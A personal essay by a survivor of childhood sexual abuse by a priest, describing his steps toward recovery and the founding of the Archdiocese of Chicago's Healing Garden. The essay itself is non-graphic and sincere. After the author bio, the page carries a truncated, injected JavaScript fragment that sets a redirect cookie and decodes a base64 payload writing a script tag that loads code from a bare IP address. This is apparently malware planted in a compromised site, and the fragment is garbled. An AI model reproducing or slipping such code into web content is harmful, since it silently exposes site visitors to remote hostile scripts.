written by Michael Hoffman
On June 14, 2006 while reading the Chicago Tribune newspaper, I came upon an article about 4 men who filed a civil suit against the Archdiocese of Chicago, alleging childhood sexual abuse by a Catholic priest. I had read similar articles like this before, but on this day, this newspaper article was different.
On this day I began to realize the sexual activity I endured as a child was perverse and depraved, wrong and criminal. My abuser was a priest who was a friend of our family, and he told me the physical encounters were normal ways we show love and affection for one another. On this day I began to understand what he imposed upon me was not normal and not love or affection at all, but in fact, traumatic and very painful. I was 12 years old.
On this day, through tears and shaking with complete exhaustion as I struggled with the memories, I began to recover from the traumatic and long-lasting effects of childhood sexual abuse. I call it, “Acts of Recovery”.
My primary Act of Recovery was telling my wife of 17 years my story of being sexually abused as a young boy. I was afraid of what she was going to think of me. But I could not hold back any longer and so, with my heart racing, my hands shaking and tears streaming down my face, I told her. The depth of the sadness and pain came out of me and she listened to me and she heard me.
My wife and I are active Catholics and so I felt strongly I should tell the pastor of our parish. I struggled with how to go about telling my current priest that I was sexually abused as a child by another priest. I was visibly nervous, but I took a deep breath and I told him my story. Afterwards, I felt an indescribable relief. It was another Act of Recovery.
Soon after that, I decided to tell someone at the Archdiocese of Chicago. I met with Ms. Leah McCluskey, the Director of the Office of Child Abuse Investigation and Review, and I began the Review Board process. I told her all of the confusing, disturbing and sick acts of abuse imposed upon me at the hands of my abuser. Alongside the painful memories, I felt comforted I was heard. I consider it a great Act of Recovery to tell my story to the Archdiocese and have them believe me.
I began individual counseling soon after. It is an Act of Recovery to ask for help from a medical professional. As some time passed I was feeling better but I knew deep inside I was looking for something more. I was unsettled. With no clear purpose in mind, I wrote Cardinal George a letter. In the letter, I thanked him for the Review Board’s timely and compassionate response to my story. I also asked if there was anything I could do to help. The Cardinal met with me, as he does with all victims/survivors of clergy sexual abuse who wish to meet with him. Out of that meeting in December 2008 came the idea of creating a Healing Garden dedicated to all victims/ survivors of childhood sexual abuse and their family members and loved ones.
In January 2009, a planning committee was formed comprised of 4 clergy abuse victims, 2 diocesan priests and staff from the Archdiocese Office for the Protection of Children and Youth. Working on this project has been a true collaborative effort as well as an on-going Act of Recovery for me. Creating a good and decent place where healing and reconciliation may be found for abuse survivors as well as for our larger Church, has been a process filled with hope and peace for me. On June 9, 2011 the Healing Garden of the Archdiocese of Chicago, located next to Holy Family church on Roosevelt Road in Chicago, was blessed by Cardinal George in a beautiful prayer service and dedication event attended by over 300 people.
It may be a profound Act of Recovery for you to decide to drive to the Healing Garden. You could walk the pathways and read the plaques with words of healing, reconciliation, apology and peace. You could sit on a bench, gaze at the beautiful bronze sculpture and reflect and pray. Bring a friend, family member or loved one – they will sit with you. It does not matter if the abuse you endured was imposed upon you by a parent, coach, trusted family friend, priest, or any other person. The Healing Garden is a permanent acknowledgement that childhood sexual abuse does in fact occur in our society. At the dedication event on June 9, Cardinal George referred to the Healing Garden as a permanent voice for the victims of abuse. I feel better when I visit there. It is my hope, and the hope of the abuse survivors, priests and staff of our planning committee, that you may feel better too.
For more information on the Healing Garden please visit www.healinggardenchicago.org
Michael Hoffman is the Chairman of the Healing Garden planning committee. He and his family live in Chicago. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘